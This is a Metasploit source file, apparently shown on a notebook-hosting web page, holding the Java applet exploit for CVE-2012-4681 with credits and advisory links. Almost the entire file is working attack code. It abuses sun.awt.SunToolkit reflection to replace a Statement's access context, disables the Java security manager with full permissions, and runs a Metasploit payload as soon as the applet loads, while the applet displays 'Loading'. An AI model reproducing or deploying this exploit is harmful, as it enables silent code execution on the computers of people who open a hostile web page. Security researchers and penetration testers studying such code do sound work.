Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2012-4681/Exploit.java
Views: 11780
//1// CVE-2012-4681 Exploit - See java_jre17_exec.rb2// PoC by Joshua J. Drake: https://twitter.com/jduck1337/status/2398752859133173763// Originally reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html4// Oracle's Security Alert: http://www.oracle.com/technetwork/topics/security/alert-cve-2012-4681-1835715.html5//67import java.applet.Applet;8import java.awt.Graphics;9import java.beans.Expression;10import java.beans.Statement;11import java.lang.reflect.Field;12import java.net.URL;13import java.security.*;14import java.security.cert.Certificate;15import metasploit.Payload;1617public class Exploit extends Applet18{1920public Exploit()21{22}2324public void disableSecurity()25throws Throwable26{27Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);28Permissions localPermissions = new Permissions();29localPermissions.add(new AllPermission());30ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);31AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {32localProtectionDomain33});34SetField(Statement.class, "acc", localStatement, localAccessControlContext);35localStatement.execute();36}3738private Class GetClass(String paramString)39throws Throwable40{41Object arrayOfObject[] = new Object[1];42arrayOfObject[0] = paramString;43Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);44localExpression.execute();45return (Class)localExpression.getValue();46}4748private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)49throws Throwable50{51Object arrayOfObject[] = new Object[2];52arrayOfObject[0] = paramClass;53arrayOfObject[1] = paramString;54Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);55localExpression.execute();56((Field)localExpression.getValue()).set(paramObject1, paramObject2);57}5859public void init()60{61try62{63disableSecurity();64Payload.main(null);65}66catch(Throwable localThrowable)67{68localThrowable.printStackTrace();69}70}7172public void paint(Graphics paramGraphics)73{74paramGraphics.drawString("Loading", 50, 25);75}76}777879